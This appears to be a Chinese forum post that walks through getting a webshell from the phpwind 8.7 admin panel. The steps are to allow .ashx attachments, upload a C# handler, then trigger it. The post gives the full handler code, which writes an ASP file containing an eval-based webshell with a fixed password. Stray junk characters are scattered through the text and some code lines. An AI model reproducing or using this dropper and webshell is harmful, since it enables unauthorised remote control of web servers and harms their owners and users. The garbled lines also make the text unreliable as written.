phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小

: N: t9 Z% P; J) P, ~2 M" v群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
$ h2 g# B% T& j9 _  j
发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整

5 |# b3 }8 B" `4 l( I, q然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx

打开之后空白 会在目录底下生成r00ts.asp 密码r00ts

% L0 t  S  E! Q* l2 D下面是代码:
2 C$ j. @. l2 _, D4 b
<%@ WebHandler Language="C#"Class="Handler" %>
1 L- O, C8 k: n' nusing System;
using System.Web;
+ }5 y" a' F3 q  fusing System.IO;
5 M' R( G, j2 U- u) Mpublic class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
file1.Write("<%eval request(\"r00ts\")%>");
. [- ~' L# y, y4 i# X( I, Bfile1.Flush();
0 ]4 Q4 F7 B$ {  ?. Ifile1.Close();
0 j1 {' L! q9 Y2 x& f6 x}
public bool IsReusable {
: F" S! h) ^. A+ D' y* uget {
; s+ K; `9 |, F; N: A2 l0 q$ e4 r, ~return false;
}
}
}
- P1 \1 H! t$ i3 L